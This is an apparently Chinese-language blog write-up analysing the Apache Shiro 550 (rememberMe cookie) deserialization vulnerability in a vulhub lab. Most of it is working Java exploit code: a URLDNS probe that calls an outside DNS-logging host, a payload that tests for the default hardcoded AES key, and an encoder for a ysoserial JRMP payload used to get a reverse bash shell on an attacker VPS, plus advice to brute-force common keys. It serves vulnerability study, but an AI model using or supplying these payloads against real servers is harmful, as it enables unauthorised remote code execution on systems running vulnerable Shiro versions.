Apache Shiro 550 反序列化漏洞分析

Apache Shiro 550 反序列化漏洞分析

Posted by SEVENTEEN on March 6, 2022

前言

   关于shiro的反序列化漏洞,之前只是看了几篇分析文章,实战中打打EXP就结束了,这次来审计漏洞的根本原因。

影响范围

   Apache Shiro < 1.2.4

配置环境

   不得不说,shiro这个版本太旧了,配置环境花了一个中午,最终选择使用vulhub的docker远程调试。

version: '2'
services:
 web:
  image: vulhub/shiro:1.2.4
   ports:
    - "8085:8080"
    - "5005:5005"
   command: java -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005 -jar /shirodemo-1.0-SNAPSHOT.jar

Shiro特征

   提交表单登陆可以看到Set-Cookie: rememberMe=deleteMe;的字段。

漏洞成因

   在shiro 1.2.4版本之前,RememberMe cookie中加密的序列化数据是通过AES密钥(硬编码如图)加密的。 这导致了我们在RememberMe功能中,可以通过修改cookie为我们恶意的序列化数据来打反序列化链。这个cookie的作用主要是用来保存用户的会话状态,具体的序列化数据加解密过程在后面分析。

   大概的一个过程是shiro获取cookie中的rememberMe的值,将其base64解码后使用AES密钥解密,再进行反序列化。 换句话说,shiro生成的RememberMe cookie是先将序列化数据base64编码,再通过AES密钥加密。

Cookie加密

   首先勾选rememberMe,使用账号密码登陆。可以看到来到onSuccessfulLogin方法中,判断勾选了rememberMe后进入rememberIdentity方法。

   这里从箭头指向可以看到rememberIdentity方法重载的过程。之后进入convertPrincipalsToBytes方法, 先是serialize方法序列化登陆信息,之后进入encrypt方法进行加密。 这个convertPrincipalsToBytes方法是重点,基本上是构造shiro的remember cookie的过程。

   这里可以看到使用了getEncryptionCipherKey方法获取密钥来加密,而这个密钥默认是从AbstractRememberMeManager方法中调用setCipherKey获取到的。

   接着,返回加密后的byte数据,跟随变量流向进入rememberSerializedIdentity方法,

   rememberSerializedIdentity方法中又对该数据进行base64编码后返回Set-Cookie。

URLDNS探测

   这里先用jdk原生URLDNS链写个payload。

import org.apache.shiro.codec.Base64;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.io.SerializationException;
import org.apache.shiro.util.ByteSource;

import java.io.BufferedOutputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.InetAddress;
import java.net.URL;
import java.net.URLConnection;
import java.net.URLStreamHandler;
import java.util.HashMap;


public class EncryptPayload {
    public byte[] serialize(Object o) throws SerializationException {
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        BufferedOutputStream bos = new BufferedOutputStream(baos);
        try {
            ObjectOutputStream oos = new ObjectOutputStream(bos);
            oos.writeObject(o);
            oos.close();
            return baos.toByteArray();
        } catch (IOException var6) {
            String msg = "Unable to serialize object [" + o + "].  " + "In order for the DefaultSerializer to serialize this object, the [" + o.getClass().getName() + "] " + "class must implement java.io.Serializable.";
            throw new SerializationException(msg, var6);
        }
    }

    public byte[] encrypt_aes(Object o){
        byte[] bytes = this.serialize(o);
        byte[] aes_key = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");
        AesCipherService aesCipherService = new AesCipherService();
        ByteSource bytesource = aesCipherService.encrypt(bytes,aes_key);
        return bytesource.getBytes();
    }

    public static String base64_encode(byte[] bytes){
        return Base64.encodeToString(bytes);
    }

    public String encrypt(Object o){
        byte[] aes_encrypt = this.encrypt_aes(o);
        return base64_encode(aes_encrypt);
    }

    static class SilentURLStreamHandler extends URLStreamHandler {
        protected URLConnection openConnection(URL u) throws IOException {
            return null;
        }

        protected synchronized InetAddress getHostAddress(URL u) {
            return null;
        }
    }

    public static void main(String[] args) throws Exception {
        HashMap hashMap = new HashMap();
        URLStreamHandler handler = new SilentURLStreamHandler();
        URL url = new URL(null, "http://171717.ceye.io", handler);
        Class clazz = Class.forName("java.net.URL");
        Field f = clazz.getDeclaredField("hashCode");
        f.setAccessible(true);
        hashMap.put(url,"123");
        f.set(url,-1);
        String encrypt_data = new EncryptPayload().encrypt(hashMap);
        System.out.println(encrypt_data);
    }
}

AES密钥探测

   但有时候目标依赖环境用URLDNS探测不了AES密钥是否正确,所以需要用另外一种方法探测AES密钥是否正确。 这种方法大概是利用序列化一个空的SimplePrincipalCollection类的payload来判断页面回显是否正确。由于该类继承自PrincipalCollection类, 所以不会像反序列化利用链一样返回rememberMe=deleteMe,而当密钥不正确时,会因为解密失败而返回rememberMe=deleteMe;。

import org.apache.shiro.codec.Base64;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.io.SerializationException;
import org.apache.shiro.subject.SimplePrincipalCollection;
import org.apache.shiro.util.ByteSource;

import java.io.BufferedOutputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;


public class ShiroKey {
    public byte[] serialize(Object o) throws SerializationException {
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        BufferedOutputStream bos = new BufferedOutputStream(baos);
        try {
            ObjectOutputStream oos = new ObjectOutputStream(bos);
            oos.writeObject(o);
            oos.close();
            return baos.toByteArray();
        } catch (IOException var6) {
            String msg = "Unable to serialize object [" + o + "].  " + "In order for the DefaultSerializer to serialize this object, the [" + o.getClass().getName() + "] " + "class must implement java.io.Serializable.";
            throw new SerializationException(msg, var6);
        }
    }

    public byte[] encrypt_aes(Object o){
        byte[] bytes = this.serialize(o);
        byte[] aes_key = org.apache.shiro.codec.Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");
        AesCipherService aesCipherService = new AesCipherService();
        ByteSource bytesource = aesCipherService.encrypt(bytes,aes_key);
        return bytesource.getBytes();
    }

    public static String base64_encode(byte[] bytes){
        return Base64.encodeToString(bytes);
    }

    public String encrypt(Object o){
        byte[] aes_encrypt = this.encrypt_aes(o);
        return base64_encode(aes_encrypt);
    }

    public static void main(String []args) throws Exception {
        SimplePrincipalCollection simplePrincipalCollection = new SimplePrincipalCollection();
        String encrypt_data = new ShiroKey().encrypt(simplePrincipalCollection);
        System.out.println(encrypt_data);
    }
}

AES密钥探测演示

   key正确时页面无返回rememberMe=deleteMe;。

   key正确时页面返回rememberMe=deleteMe;。

构造payload

   这里有个比较坑的地方,构造CC1链的payload打过去发现报错了。 搜了一下相关原因并检查了一下,发现shiro中ClassResolvingObjectInputStream类继承ObjectInputStream类, 并且resolveClass被重写,所以需要做一些修改。如果要用cc链的话,需要修改transformers数组(无法加载除Java本身自带的数组)。 直接用JRMP打或者原生利用链也是可以的。

   这里演示一下JRMP的打法,首先VPS开启JRMPListener。

   对ysoserial生成的JRMPClient序列化文件进行编码。

public static void FileEncode() throws IOException {
    File file = new File("./shiro");
    FileInputStream inputFile = new FileInputStream(file);
    byte[] buffer = new byte[(int)file.length()];
    inputFile.read(buffer);
    AesCipherService aes = new AesCipherService();
    byte[] key =java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
    ByteSource ciphertext = aes.encrypt(buffer, key);
    System.out.printf(ciphertext.toString());
}

   用生成的cookie打过去,VPS接收TCP传来的bash。

EXP问题

   1. aes的key不一定是kPH+bIxk5D2deZiIxcaaaA==,可能被修改。这里可以在github上找出现频率较高的key来爆破。

   2. 该漏洞RCE无回显,可以通过依赖构造回显。

There Is Nothing Below

   

Turn at the next intersection.